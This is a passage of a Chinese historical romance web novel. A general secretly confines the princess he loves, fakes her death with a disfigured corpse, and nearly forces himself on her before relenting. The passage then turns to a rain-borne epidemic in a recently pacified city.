岑篱看了一会儿现场情况,一点点皱起了眉。 她往前走了几步,蹲下.身去,捡起了一把尸体附近的刀。 景九:“郡主?!” 岑篱摆了下手,示意无事。 那刀上还沾着血迹,也不知是主人的,还是刚才砍伤敌人的,她用手帕垫了一下,然后屈指一弹,刀身发出清越的金属声。 岑篱并不懂兵器,但是和之前劫匪手里的农具木棍相比,这帮人手里的兵器未免太精良了点。 景九也看出了岑篱的疑惑,主动答道:“回郡主,刚才这帮人冲过来的时候颇有章法,属下以为,并不是普通盗匪。这刀也有些眼熟,形制和阳曲那次遇到私兵非常相似。” 原本的阳曲郡守本来就是鲁王的人,一应盔甲刀柄多半是鲁王供给,而这群盗匪手里的兵器却和阳曲那边形制相似,实在不得不让人深思。 岑篱:“我们离京的时候,鲁王世子还没查到踪迹?” 景九不太情愿地答:“是。” 他的任务是护送郡主,不想牵扯这些无关事由、 但岑篱却不行。鲁王世子还流窜在外是个大患,若是真的这么巧被他们遇到了,不能放任不管。 岑篱沉吟了一会儿,开口:“你挑几个身手灵巧的人,换上这些人的衣裳,上山探探情况,不必太深入,只粗略地在外围看看他们大致的布置。” 倘若上面真的是叛军余孽,岑篱还没指望自己这一群护卫能剿灭叛军。 但便是为了日后的行动,也得弄清楚山上的情况。 景九:“属下领命。” …… 景九的行动很迅速,没过多久,就点齐了人手,换了衣服抹脏了脸上了山。 但奇怪的是,这山上并没有什么暗岗哨探,顺着上面的人烟的踪迹,一行人居然毫无阻碍地摸到了这寨子的位置。 这事情实在诡异,景九有些犹豫要不要继续往里探了。 正迟疑间,突觉一阵悚然,他背靠着树干翻身一滚,一截雪亮的刀锋出现在他原本的位置。景九顾不得庆幸自己死里逃生,连忙挥刀抵挡,刀刃在身前十字交接,那力道压得他手臂一震,他使出全身的力气仍旧抵不住另一边刀锋向着自己的脖颈逼近。 但是这千钧一发的境地,景九却突然认出了对面的青年,“谢将军?!” 谢定眯着眼辨认了一会儿,总算从这张刻意抹了血污的脸上,认出了这个岑府的护卫长,“……是你?” 谢定这才松了点手里力道,但刀还没有放下。 景九连忙把一行人山下遭遇盗匪,因为对方兵器产生怀疑,然后上山的事和谢定说了。 谢定的神色并未因此舒展。 他开口问:“她为什么会来鲁地?” 对这位谢将军和自己家郡主之间纠葛也略知内情的景九:“……” 这问题就不太好回答了。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第41章【VIP】 第41章 谢定最后还是跟着景九下了山,也解释了自己这边情况。 “我带人追缴鲁国余孽,正好到了这个山头,因为没料到他们早有准备,围捕不及,被他们逃出去不少人。” 岑篱这才知道,原来方才伏击他们的人是败逃的溃兵。 她心下觉得有点奇怪,但是还不及深想个中违和,又听谢定接着,“这附近恐怕还盘踞着不少叛兵,你们倘若要继续往前,路上不太平。我带人护送你们一段。” 岑篱抬头看向谢定,后者微微侧偏了下头,避开了她的视线。 他撒谎的时候就是这个习惯。 岑篱刚刚这么想,却见谢定压沉了脸色,像是强自忍着什么,“你若是不想让我送,那就让韩元修去。别一个人往那边去……鲁王世子在长安时见过你,他要是真的认出你来了,你带着这点人可挡不住。” 岑篱这才想起,两个人上次见面,还是花园那次。 她把谢定赶走了。 她还从没有见过对方那么失魂落魄的样子。印象中的谢定,便是最为落魄之时,也能抡起拳头、不知天高地厚地把皇亲国戚揍上一顿。 看着对方这会儿扭着头强撑的样子,岑篱也忍不住低叹,她道了一句“多谢”,又 小声补了句“没有不想”。 …… 经过这么一折腾,天色已经晚了,众人也没有急着继续赶路,而是就近扎营安寨。 有了谢定的提醒,岑篱命人把一应昭示郡主身份的东西都收了起来。 朝廷的旗号在外面可以震慑山匪,但是在叛乱还未平息的鲁地,怕是一个活生生的靶子。 担心军中人多口杂泄露消息,谢定对外也只是将岑篱这一行以商队称之,并未暴露身份。也因为这个缘故,扎营的时候也只是就近比邻,并没有完全将人围在中间,因而当外面有喊杀声的时候,岑篱先一步听见了。 她一下子惊醒,正想要唤景九,却看到有一个身着甲胄的人影被外面的火光映在帐上。 岑篱差点喊出声,好在对方先一步掀了开帘子进来。是谢定。 这一路屡遭盗匪,已经足够岑篱从这突发情况中冷静下来。 她压低声音问:“外面怎么了?” 谢定平静地,“是叛军。” 岑篱往外看去,见那边的驻营地里早就点亮了一簇簇火把。火光映照之下,士卒们行动井然,半分不见被半夜突袭的惊慌。再看谢定,这一身甲胄可不像是匆忙穿上的。 岑篱突然想起了自己白日里感觉违和的缘故。 那群埋伏的山匪,对方行动之间颇有章法,可不像是被击溃逃窜的败兵。而她们车队明明都已经打算折返,对方却仍旧追着不放,不像是为了财物,反倒是像灭口。再想想谢定先前一副笃定周围有叛军,如今营中早有准备的样子…… 岑篱突然明白过来,“你是故意放那群人走的?这个驻地是个诱饵?” 问完后又奇怪,若是真的如此,谢定没必要瞒着她啊。 怕她走漏消息? 谢定没答是也没答否,而是往前走了一步。 岑篱还觉不解,却觉后颈一疼,眼前就陷入一片黑暗。 * 叛军半夜突袭,便是营地里早有准备,这场战斗也持续到将近天明。 韩培率人追着叛军跑出几里地去,但是却还是被鲁王世子给逃脱了出去。 韩培满心扼腕,“差一点啊!就差那么一点!!我刀离他脖子就差那么一根手指头了,结果让他的亲卫给挡了!” 谢定却听得心不在焉,只是敷衍着点了下头。 “你说这鲁王世子属泥鳅的吧?咱们找着他藏兵器的地方,特意放走了人走漏消息,就等着他半夜上门,再顺藤摸瓜找他的老巢,这都能被他跑了。老天都帮——” 韩培险险把后半段话咽了下去。 这谋逆叛乱的大事,可不能瞎说。 谢定倒是没往心里去,只是接着吩咐:“让人在宅子里找找,看有没有线索,他在鲁地留下的势力不多,躲也躲不了多久了。” 谢定又做了些别的查探清点的安排,将后续之事一一布置下去。 紧接着对韩培,“你留在这里,清点此次战损,我先回驻营地……” 听到谢定要走的意思,韩培连忙开口打断,“等等,你还真不能走,有一件事……你跟我来。” 韩培带着谢定到了宅子的主屋。 靠近主院的地方明显发生过一场激战,战场还没有清理干净,外面还有没来得及抬走的尸体。两人绕过尸首走到了最里面,推开房门,屋里也有一具女尸俯卧着。 谢定瞥了眼女尸的衣裳,问:“鲁王世子的宠姬?” 他拧眉不解。 这要是个活口,还能从对方嘴里问出鲁王世子的下落,但现在人都死了,他难不成还把尸体挂墙头,等着鲁王世子来救?要那鲁王世子真的是个情种,这会儿这女人就不该躺在这儿了。 韩培点点头又摇头。他蹲下.身去,把女尸的脸转了过来。 那张曾经娇美的面庞定格在惊恐的表情上,此时却已经失去了生机,惨白发青看起了很是渗人。 谢定看了两眼,隐约觉得有点眼熟。 韩培低声:“李校尉家的二女儿前阵子失踪了,你知道这消息吧?” 谢定:“……” 他想起临离开长安前,确实从谢兰君嘴里听说了李家的事。 韩培:“军中能认出她的人不多。我也是因为一些缘故,在长安时见过这位女郎。” 以李奾的长相,“见之难忘”不是一句形容。但不管她人怎么样,在叛军这里找到了失踪的女儿,李舂那边可就不是一句“失踪”就能了结的。 韩培犹豫着抬头看向谢定,“你看?” 他知道谢定和李家的关系。 谢定顿了顿,抬手抽刀,径自从这张脸上斜划而过。那张面庞瞬间被狰狞的伤疤占据了打扮。 韩培:“……” 他倒是能猜到缘故,但谢定这下手的毫不犹豫程度还真是让他惊到了。好歹这么张脸,她就没有点怜香惜玉。 “找个地方安——”葬了吧。 谢定本来想这么说来着,但话到一半突然意识到什么。 他低下头,看着那张被狰狞伤疤覆盖而看不出原本面容的面孔,又看了眼对方身上雍容华贵堪比郡主的打扮,短暂地陷入沉思。 韩培正想要调笑两句“你是不是看上人家了”,却看见谢定抬手在女尸脸上又是一刀。 这下子真是看不出本来面目了。 韩培:“……” 他开始觉得谢定是不是和这女人有仇了。 * 岑篱在陌生的房间内醒来,发现自己被幽禁了。 房门紧锁着,窗户也被木条钉了一半,透过木条的间隙,看到外面重重守卫,岑篱试图呼喊,但很快发现外面把守的人说的不是官话,是鲁地的方言?好似又和先前听的不同。 岑篱很快冷静下来,在屋内转了几圈后,坐下来思考。 她昏迷之前遇到叛军袭营,她这是落到鲁王世子手里去了? 岑篱环顾四周布置,虽然门窗都被锁着,但是房内布置陈设都颇为讲究,应当是这宅子的主屋,看起来对方似乎想用她当筹码,暂时没打算撕破脸。 不是个好消息,但也不算太糟。 岑篱想着长安几面之缘,回忆着这鲁王世子的性格。心机谋算不缺,为人也颇为阴狠毒辣,可偏偏在大事上缺少几分决断,最好能够先入为主地镇住他…… 岑篱仔细推演着两人见面后的种种可能的发展,一直到外面传来层层推进的行礼声,紧接着是门锁被打开的动静。岑篱快速梳理了一遍所有想法,确认没有遗漏后,打起精神来对着门口。 但等看见进来的人后,她却愣在了原地。 “怀朔?!” 进来的人居然是谢定?! 岑篱一时没有想明白这到底是怎么回事。 门在谢定的身后关上,屋内的光线似乎一下子暗了下来。 对上岑篱那困惑茫然的视线,谢定主动开口给出解释:“鲁王世子袭击营地得手,阳嘉郡主不知所踪。” 等到过段时日,真的抓住了鲁王世子,那具毁容的女尸便派上了用场。 岑篱觉得自己好像没有听懂,仿佛谢定嘴里的这句话也突然不是官话的一般。 她张了张嘴,“你说什么?” 谢定耐着性子又重复了一遍。 屋内陷入短暂的安静,谢定的目光在房间里扫视了一圈,看到了一旁案上没动几口的饭菜,他仔细看了两眼,神色恍然:“是我的错,这次太匆忙,忘了把事情吩咐下去。你口味清淡,吃不惯这些。” 岑篱终于从这一连串诡异的发展中回过神来,也后知后觉明白了自己现在的处境。她想起了山脚下时,谢定躲避注视的动作,又想起了夜半时分没有得到答案的问题。 而谢定已经往前迈了几步,走到近前。 他往前伸了伸手,语气带着一种不正常的柔和,“阿篱……” 她一把挥开谢定手,“你疯了?!” 谢定神情凝住,他反手抓住了岑篱的手臂,抬眼地看过来,“我是疯了。但是你在干什么?!鲁国是什么情况你知不知道?叛乱未平,鲁地凶险,那鲁王世子还在外流窜,只恨不得找个和朝廷有瓜葛的人千刀万剐以示报复,你在这时候往这里跑?你在想什么?!” “与你何干。” 谢定声音一滞。 静了一会儿,他突然低低地笑起来,“与我何干?哈哈哈……好一个与我何干!!” 笑声越来越大,在这偏僻的宅院里一层层荡开。 * 几日后,原鲁国国都,如今鲁郡郡治。 阜安城。 乌云压得极低,还是傍晚的时辰,天色已经全黑了。暴雨还在空中酝酿,风已经席卷着尘土在街巷中肆虐,还在外的行人都匆匆归 家,免得被接下来的风暴波及。 城内,一个并不起眼的小院里,五铢匆匆关着窗。 鲁地刚刚除国为郡,在阜安城这个原鲁国国都的城池里,郡守府还未建起。但若是入住鲁王府又是违制,以至于如今苏之仪这新到任的一郡之长,也只能居住在一个平平无奇的小院中。 好在院子小也不用多少人手打理,五铢一个人再加上些临时雇的人手,倒也照看得过来。他这会儿匆匆检查完门窗,就看见苏之仪站在廊下发着呆。 五铢是不知道这风雨欲来的场景是不是激起了郎君什么吟诗作赋的雅兴,只哀哀叹了一声,连忙把人往屋里拉,“我说郎君啊,这雨瞧着就小不了,您在这站着一会儿再挨了淋。咱们本来刚到鲁地,水土不服、身上还没适应过来呢,这一下子别再病着了。” 这说这话呢,漆黑的空中倏地闪过一道耀目的白色闪光,紧跟着话尾,惊雷声响,巨大的动静在耳边炸开。 苏之仪终于回过神来,等到雷声平息,他才低声:“我只是在想,这样的天色下、她是否会想起……”二人大婚的那一日。 低喃的声音消失在唇齿间,苏之仪自嘲地笑了一声。 如今来看,那仿佛天谴般的大婚倒是有些好处,不论日后如何,她总没法轻易忘怀那场婚事。 转念又想起洞房那日的情形,不由担心起她膝上的伤势。 但谢府的女医医术高超,以她的身份请宫中太医也轻而易举,实在不用他这个贬谪之身牵肠挂肚。 …… 岑篱却不太好。 本来经单女医调养了一整个冬日,她膝上的伤势几乎没有大碍。但这段时间路途奔波,又加上被谢定发疯关在这里心情郁郁,早在雨势酝酿之前,她就觉得双膝滞涩不适,像是被卡住的门轴一样,不灵活不说,还带着一种既不是痒也不是痛的闷胀感,让人坐立难安。 但那日和谢定闹掰了之后,她却不想因为这点事和对方低头,她本来想要早点入睡,免得受这折磨,但是大雨之下,身上被子也像是泛着湿冷的潮意,贴在身上,只让那酸胀感越发钻心。 岑篱翻了几次身都没有睡着,正想要下去倒杯水,却听见门锁响动,房门被啪地一脚踹开。 谢定进来了。 他也不知道从哪里过来,浑身上下被雨淋得湿透。 一阵风吹来,送进了满室的酒气。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第42章【VIP】 第42章 岑篱本来愕然于谢定的到来,等嗅到那股酒气之后,更是皱了眉。 外面一道电光闪过,照亮了浑身透湿的谢定的同时,也让他看清了里面人形似厌恶的表情。 谢定脑中摇摇欲坠的那根弦一下子崩断了。 岑篱还没来得及问是怎么了,就被推到了床榻旁边的屏风上。立着的屏风承受不住两个人的重量,往侧边倒去,才刚倾斜了一半,就被里面的浴桶撑住,发出木头摩擦的吱嘎声。 湿凉的吻落在颈侧,被雨浸透了的衣裳打湿了她的寝衣,冰冷的寒气透过相接处印入肌肤,在上面激起了阵阵颤栗。 岑篱好半天才反应过来发生了什么,声音都变了调:“谢怀朔?!” 身前的人恍若未闻,动作连停顿都没有,手已经落在岑篱腰间的系带上。 “唰啦”一声,岑篱一把抽出了谢定腰侧的刀。 锋刃贴到了对面的脖颈之上,总算让这场骤来的荒唐猝然停.下。 但也只是极短暂的停顿,岑篱还没有来得及平复下心跳,就听见一声低笑,胸腔的震动透过湿淋淋相贴的身体传了过来,岑篱抓着刀的手不由紧了紧。 谢定全不在意地又往前逼近了一点,来不及收起的刀贴着他的脖颈划出了一道血痕。 那一丝的血线倒映在眸中,岑篱瞳孔一缩,忙把刀往侧挪开,这动作和谢定往前倾身的趋势重合,反倒将那道血痕拉得更长。 谢定含笑低声:“鲁王有心谋反,在鲁地经营多年,如今鲁王世子还在外流窜,此地人心未平,需得兵力镇压才得政令通行。山东四郡兵如今都在我手上,我若一死,鲁地生乱,你觉得下一个死的会是谁?会不会是那位朝廷新封的郡守?” 说完这些,他竟是全没在意脖子上架着的刀,按着岑篱肩膀就低头吻了下去。 疯了?或许吧。 既然要死,就干脆一起死! 当啷一声,刀掉落在地上。 谢定分不出自己是什么心情,高兴?绝望?还是痛得锥心刻骨?他不知道,就像他分辨不出阿篱倒是为了谁扔下的那把刀,是苏之仪?还是他? 算了,怎样都无所谓…… 手上用力,布帛撕裂的声音响起,掌心的茧子碰触到一片细腻的柔软,却听见上方的声音,“谢怀朔,别让我恨你。” 谢定:“……” “恨”吗? 那也总比“与你何干”好多了。 谢定没有收手,而是将人打横抱起,放到了一旁的软榻之上。而趁着他往后倾着身解下腰间蹀躞时,岑篱一脚踹了过去。这一脚没有踢到实处,被打湿的寝衣裙摆湿淋淋地贴在腿上,膝盖屈伸的瞬间,尖锐的刺痛自膝间传来,岑篱不自抑地倒吸了口凉气。 谢定立刻察觉到了。 他几乎忘了现如今的情形,一把抓住岑篱的小腿,撩起裙摆来看。可上下检查过,并无明显的伤处。 谢定正想要开口问,却想起了这几日刚收到的谢兰君的来信。后者也提起了岑篱来鲁地之事,对兄长颇多开解的同时,却也提及对岑篱身体的担心。 [单女医早些时候便提起,她想要暂时离开长安、四处游医,我不放心岑姐姐的身体,便恳请单医先去鲁地看看。战乱之后本容易生疫,单医此行正欲往鲁地去,听闻鲁地如今还不太平,若是单医到了,还请兄长多留心照应些……] 毕竟是亲妹妹的请求,谢定早就已经吩咐下去,令下面的人留心。 可他这会儿才想起,阿篱身上又没有什么宿疾,哪有什么能让兰君不放心到专门嘱托?有什么是兰君知道,而他不知道的事。 ‘……岑姐姐入宫跪求陛下……’ 那日的对话突兀浮现在脑海,谢定抓着岑篱小腿的手一下子收紧,身下的人发出一声浅浅的嘶气声,却像是不想被他听见一般,连这轻嘶的动静都咽了回去。 岑篱不想在这时候看见这张近在咫尺的熟悉面孔,她别开脸去闭上了眼。但视野陷入黑暗,身上的感知却更加明显,她能够清楚地感受到指腹沿着小腿厮磨往上,粗糙的掌心在身体上激起阵阵颤栗。 明明对方都做出了这样的事,她却仍旧无法对这个人打从心底里厌恶。 岑篱难堪地揪扯住身下的被褥。 却听见一声艰涩嘶哑的低问,“什么时候?” 岑篱一怔,睁眼看去。 谢定浑身都被雨淋透了,连睫毛都湿淋淋纠结成簇,漆黑的双眸中满是压抑忍耐的痛苦,她几乎要以为他哭过了。 “怀朔。”岑篱终究轻唤了一声,然后声音很低很低地,“我从没有后悔过。” 她从没有后悔爱过这么一个人。她永远记得有一个少年,鲜活的、明亮的,告诉她便是活在那方宫城之内、即使处处受到掣肘,也可以过得灿亮自在。 ……不要亲手毁了它。 她眸光中隐隐带着这样的恳求。 谢定几乎是比来时更狼狈地离开了。 * 第二日,宅子里的护卫撤了大半,岑篱见到了单女医,还有带着卫队过来的景九。 后者一上来就跪下请罪,“属下护卫不力,还请郡主降罪。” 岑篱心知这事跟护不护卫没什么关系,她就是再怎么想要护卫,也想不到防备谢定身上。但又想知道当日的事情,“那日到底是怎么个情形?” 景九据“实”以告:“当天夜里鲁王世子麾下叛军冲营,属下等人驻扎所在和郡主尚有间隔,未能第一时间赶到郡主身边,又因为和谢将军麾下士卒并无配合,反倒是彼此冲撞,军阵互相打乱,待到属下等人赶到营帐,里面已经空无一人。” 岑篱点了点头,她被叛军动静惊醒后,第一时间就看到了谢定,景九赶到的时候,她应当已经被对方带走了。 却听景九接着,“那鲁王世子为人阴狠毒辣,前些时日险些被谢将军所获,他竟令一具毁了脸的女尸伪装郡主尸首。若非谢将军救出郡主,属下等人险些以为郡主已丧命敌手。” 岑篱:“……” 做出这一番“伪装”的恐怕不是鲁王 世子,而是另有其人。 谢定若是真的在山脚下见到她后,顷刻之间做出种种安排……岑篱想着,心头泛起了一阵寒意。她当然知道行军打仗不可能只靠蛮力,但谢定当真把这一份脑子用在她身上的时候,她还是觉得背后阵阵发凉。 岑篱不知道自己什么心情地问出接下来的话,“谢将军如今在何处?” 这次却是一旁的单女医回答,“鲁王世子残部龟缩曲县,谢将军带人前去追击,约莫是行动仓促,他是昨夜夜半走的。我宿在附近乡民家里,听到行军的动静去打听,这才和谢将军碰上。军事紧急,谢将军同我交代了郡主的情况,让景护卫送我过来……将军特意嘱托过,郡主好好修养为上,若是觉得这宅子住不惯,便换一个,别急着赶路。这里离鲁郡郡治还有好几日的路程,郡主养好了伤势,再行奔波也不迟,他此行逼退鲁世子残党,不会再有先前的意外了。” 岑篱听后,沉默了好长一段时间。 ……不会再有先前的“意外”吗? 她终究长叹口气:“也好。” * 岑篱没住在先前的那个宅院里,但也确实没有急着赶路,而是略微调养了几日。 不过这种痼疾也不是一两日就能好的,休养几天后,一行人便上路了。 她们之前在的地方靠近原本鲁国的边境,偏僻荒凉,但随着往阜安城的方向走去,人烟渐盛,也偶尔能看见市集交易的繁华景象。若非原本就繁华富庶,鲁王也不会新生反念。 单女医在旁感慨,“我早些年间游历时也到了鲁地,与如今相差不多远。战乱之后却能有如此生机,可见谢将军治军之严,绝无放纵劫掠之事。” 岑篱却难得沉默着未答。 他确实是个好将军…… 这一路都生机勃勃,可是行至近阜安城时,情况却有了变化。 因为入城要交进城费的缘故,岑篱等人先前经过的几座城池,外面都有许多为了省下一笔费用而在城外堆起货物的摊贩,可这阜安城外竟是空空荡荡。一行人远远就看见几个走近的人遭了门口的士卒驱赶,前面一支商队亦是载着满载的货物被迫折路返回。 岑篱没急着靠近,而是让景九去探听了一番那商队的情况。 若是普通行人被打发走总有各种理由,但这商队进出城多了,总有法子打点关窍,这么被迫折返的还是少见。 景九出去了一趟,很快就回来了:“回郡主,这商队是南边来的粮商。商队是想趁着鲁地的战乱发一笔横财,但如今鲁地粮价虽比平常高了几文,却非奇货可居的高价,这粮商见状,便干脆放弃售卖,直奔鲁郡郡守,想要向郡守献上这一批粮。” 行商一趟花费不菲,弃卖为赠可不是一般人能下的决定,这粮商倒是果决。 但显然,对方也不知道阜安城内到底发生了什么。 岑篱还想让景九去再打听打听,但转眼却看见单女医面色凝沉。 她奇怪:“单医?” 单女医面色严肃,“可能是城中有疫。” 岑篱表情也跟着凝住了,“此话当真?” “虽是猜测,但也有八.九分把握。我刚到鲁地的那日,遇到了一场大雨,这几日沿途,途径河流水塘皆是满蓄,可见那场大雨波及不仅仅是鲁地边缘一处。大雨之后容易生出疫病,倘若人群分散还好,人群密集更不易防护。我那时只想着军中,还提醒了谢将军一句,不过军中自有一套方式,驻扎之时便选了不易积水的营地,我那时还以为自己多虑了,但……” 军营可以换地方驻扎,城池一旦建起可没地方可挪动。 如今整个鲁地,人群最密集的城池,当属阜安了。 经单女医这么一提醒,岑篱再看那边道路,心底不由一寒。 因为前方被驱赶的缘故,这路上折返的人并不少,但是仔细看看,那些人要么肩扛手提、要么驱赶牲畜,都是带着行李的。除了看守的士卒,并没有看见一个从城里往外走的。 看着岑篱脸色不好,单女医又缓下表情开解,“郡主放心。疫病酝酿也要时日,如今大雨才刚过,便是有疫也远不到不得已封城的时候,多半此地官员发现了征兆,提前采取了措施,这是好事……我听师门长辈说过,十多年前长安也有过疫病,想来苏郡守也是在长安亲历过此事,所以才有了处置办法。” 岑篱:“……” 是啊,十多年前的长安,也有一场疫病。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第43章【全文完】 第43章 阜安城内。 五铢神情不安:“郎君,你真的要去疠迁所啊?” 暴雨过后,阜安这边又淅淅沥沥缠.绵了几日小雨,城内都有了积水,多亏苏之仪刚来的那几日,没急着修郡守府,反而先探查了城中的各处的状况,先将人力投入了修整城中排水渠上面。大雨之时,水渠虽未完全疏通,但多少也起了些作用,才没酿成城池被淹的惨状。 可即便如此,雨停之后,城内也有不少人发了高热。 大雨过后,气温陡降,偶有几例发热也是受了凉的常事。但是苏之仪却警惕万分,直接把鲁王府院子外围的下人房辟为疠迁所,严令发热者入住其中。 若非先前排水渠之事初步有了些威信,苏之仪的这政令还没有那么容易实行。 但是后来发热者越多,城中之人终于意识到这并非普通的着凉。前几日疠迁所附近还得让士卒驱赶,可如今连行走人经过附近,都恨不得贴着另一边的墙走。 如今五铢如此发问,也是不想要苏之仪往那去。 苏之仪摇头,“不是进去,是在外面稍作停留。这疫病来得突然,城中人手不足,疠迁所内本就人心浮动,连守卫都心中惶惶。我若是再不去那边露个面,一旦有心人煽动了什么,那就为时已晚了。” “那也不必亲自去啊,万一沾染了疫气,那才是什么都晚了。”五铢还是不情愿,小声嘀咕着,“当年的长安,京兆尹就是这么出的事。” 长安、京兆尹…… 苏之仪微微出神之际,却有一差役匆匆赶来,“禀报郡守,外面有一个女人,自称四方游医,游历至此,见城外情形不对,所以前来问问。属下不知道是否要将城内情形告知于她……那女人自称姓‘单’,说是在阳曲时和郡守见过。” “单?”苏之仪他当然记得这个谢家的医工,不由问起对方形貌,“约六尺七寸,身形干练,脸盘略窄,但眼睛有神……” 确定外面确实是他知道的那位单女医,苏之仪不由奇怪起对方为何会到阜安来。 但这位女医的医术确实值得称道,又不可能是鲁王残党,苏之仪只稍一疑虑,便也应答下来。 他回屋拿了几卷竹简:“这是城中医工这几日对看过的病患的症状记录,你带出去予她吧。” 那差役领命去了,还没出门,却又被苏之仪叫住。 “你再等等,这城内还缺些药材,我写明情况,你去问问。若单医有门路,你托她让人送些过来。” 这个“门路”指的自然是谢定。 苏之仪才到鲁地的时候,便遇到了谢定麾下,他本以为自己或许会“路遭不测”,但这位谢将军虽没有露面,却也遣人将他护送了过来。之后平定叛军种种,也没有刻意借机找麻烦。 苏之仪想到这里,不由得心底苦笑。 小人之心么…… 他禁不住想起了那日和岑篱在书房的争执。因为她真心倾慕之人合该是高风亮节,所以她才会得知真相时露出那样厌憎的神情。 果真是强求来的婚事,便是那样走下去 ,也终是求非所得。 * 城外,单女医很快拿到了城内医工诊断的案脉,她又详细询问了对方城内的情况。传话之人也知道这女人是来救命的游医,哪还有半点怠慢,异常详细地回答了她的问题。 岑篱和单女医在一起,跟着拿到了那份药材清单。 她第一时间想起的倒不是谢定,而是那位还停留不去的粮商。对方虽然做的是粮食生意,但于各地行商,多半人脉颇广。 岑篱打发了景九去问。 不多一会儿,景九来回禀,说是那位粮商愿意答应,但想要亲自前来拜见,商谈细节。 岑篱并不意外,点头应下。 景九也很快将人带了过来。 来者是个身量不高的中年人,因常年在外面奔波,面相比看起来还老些。长相有些木讷,乍一眼看上去,不像是精明的商人,反而像是憨厚的老农。 这个粮商也没想到那车队的主人是个女子,短暂地愣在原地。 但到底见多识广,很快就回过神来,拜伏行礼道:“草民见过贵人!” “不必多礼。”岑篱抬手虚扶,直接问道,“方才我护卫说,那上面的药材你能送来?” “不敢欺瞒贵人,草民确实在淮地有些交际,也认识些药材商贩。这些药材确实能凑齐,但是这一来一回路途遥远,真等药材从淮地送过来,恐怕早就迟了……草民以为,远水解不了近渴,想要解开当前之局,还需从鲁地着手。” 他这么说着,抬眼打量了眼岑篱的神情,见后者没有打断的意思,才接着,“贵人欲寻的药材,虽数量众多,但并不名贵,就是鲁地的药材店也常备着,正巧小人这次本就是来贸易粮食的,以粮换药,想来当地药商不会拒绝。小人换了药后,再将药材送入城中,便不必来回费那许多波折。” 岑篱听着点头,“善,韦商所言甚是,倒是我欠考虑。” 那人连忙俯身道是“不敢”,又道:“至于说贵人先前所谈的价码,怎敢劳贵人花费?鲁地接连遭祸,先是被贼人使役,又遭战乱,如今大雨后又生疫病,小人听闻也痛心至极,要是能为城内百姓做点什么,也是给小人下辈子积德了。这换药材的粮食由我们这趟的商队出,就算是小人的香火钱了。” 岑篱听了却只是笑了笑,商人不逐利,那才是怪事。这会儿不要钱,只怕日后想要得更多,她淡声:“韦商这趟行商耗费不菲,若说是香火钱,恐怕太多了些。” 粮商还是坚持,“积善行德的好事,怎么敢言谋利?就是耗尽家资,也在所不惜。” “韦商果真是位‘义商’。”岑篱笑着称许一句,却加重了语气,“只是若是行善事必得倾家荡产,那日后还有何人去行善?我知道韦商心怀仁义,此事还是莫要再提了。” 话已至此,那商人自是连声应是,但紧接着话题一转,又提起另一事来。 “贵人恐怕有所不知,商人位贱,在外行走常遇到些事端,时日久了,各地商贩自发结成同盟,虽然商盟之中也并非同心同德,但在排挤外来行商上倒是如有一致。此次以粮换药,我若只是少量求购并不是难事,但要是想筹到贵人要的数量,恐怕要和当地药商有些冲突,小人等在此地毕竟是生人,虽然带了些护卫,但人数不多,不知道贵人可否拨些人手来,也护卫好此次交易。” 岑篱听出来了。对方这是“捐献”不得,退而求其次,想要谋求鲁地的药材生意。这才想出了借调护卫,狐假虎威。 岑篱稍一沉吟,倒是点头允了。 她对着一旁:“景九。” 景九立刻拱手应是,“属下这就调一队人去。” 岑篱摇头,“你亲自去。” “郡主……夫人,”景九脱口而出后,又连忙补救,语气颇为焦急道,“鲁地的叛军未平,夫人刚刚平安,怎能再冒风险?” 岑篱抬头看了粮商一眼,后者立刻行礼告退,“谢贵人恩典,小人这就回去准备。” 这商人面无异色地走出了岑篱的车队,在外等候的商队伙计看见东家出来,连忙迎了上去,一句“东家”还没唤出口,就见这位走南闯北、见了山匪都面不改色的商队领头人一个踉跄,差点跪倒在地。 伙计一个箭步蹿过去把人扶住,压低声音急问:“东家,出什么事了?” 莫不是被那车队打劫了? 粮商一张面皮涨得通红,嘴唇哆嗦了好几下,才抖着声:“大事、大事啊!” 刚才那声“郡主”,他可是听得清清楚楚。他来的路上他也打听过了,这位长安来的郡守颇有些来历,寒门出身,却娶了位不得了的夫人。他心底有些猜测,却没料到这夫人这么不得了,郡主那是什么,那可是皇室啊……他本来就想要和鲁地官府打好关系,如今这要是替这位夫人把事办得好了,日后皇商也是能想的。 他忍不住又使劲掐了把伙计的手,“你瞧瞧,这没做梦吧?” …… 不提这粮商怎么欣喜若狂,岑篱这边没费什么功夫就说服了景九。 但她再回到单女医这边,却发现对方一面熬着汤药,一面烧着艾草熏染衣物。 岑篱奇怪:“这是做什么?” “我准备进城看看。” 岑篱意外,明明对方先前还是一副只在外面探探情况打算,怎么转眼间就变了看法。 单女医却笑了,“为人医者,哪有不见病患就开方子的?每个人体质虚实都有不同,病况也各自有异,这世上就没有一剂方子能治百病的好事。我先前没有进去的打算,是不知里面病况如何,若是里头真的大疫横行、盗匪横生,我便是进去了,也不过搭上一条命去,帮不上什么,还不如只在外头指点两句,说不定还能活几条人命。” “那现在?” “我方才看过了案脉,此次疫病侵扰的多是脉弱体虚、身体本就有些缺损的人,算不上凶险的大疫,又有苏郡守及时辟出疠迁所,城中情况尚可,入城风险不大……” 岑篱安静听着单女医说完,又在旁边站了一会儿,终于做出了决定,“单医的这份汤药可否多煮上一份?” 单女医意外地看向岑篱,不确定对方是否是她想的那个意思。 “我想同单医一同入城。” 单女医只是诧异了片刻,很快就答应下来。她一边放下自己药囊,另取出一份药材,一边感慨,“我还以为——”这话到了嘴边,她又唏嘘着咽下,“不没什么。” 她在阳曲时,见过这位郡主对苏廷尉的伤势关心有余却牵挂不足,却因为谢将军的一点状况就神色大变,后来又住在谢府,陆陆续续听过些郡主和谢将军的旧事,故而对阳嘉郡主的这段“身不由已”婚事也有些猜测。 但是如今看来,倒是她妄加揣度了。 …… 为表示重视,苏之仪在去完疠迁所之后,亲自去城门接迎的那位单女医。 城门处的拒马被挪开一点缝隙,留出了供单人行走的通道,当前走过的女子款款而来,却让苏之仪疑心自己看错了人。 大雨过后的这几日天色晴得有些过分,岑篱在外袍外面罩着的是一层熏过艾草的白麻衣,阳光一照亮得有些晃眼。苏之仪疑心自己是不是方才在疠迁所染上了疫气,要不然青天白日的,他怎么就发起了梦来了? 还是旁边的五铢先一步惊呼出声,“郡主?!” 苏之仪总算回神,一向巧言的唇齿却说不出更妥帖的话来,只能干涩地问一句,“你怎会来此?” 岑篱晃了一下神。 为什么选择进城吗? 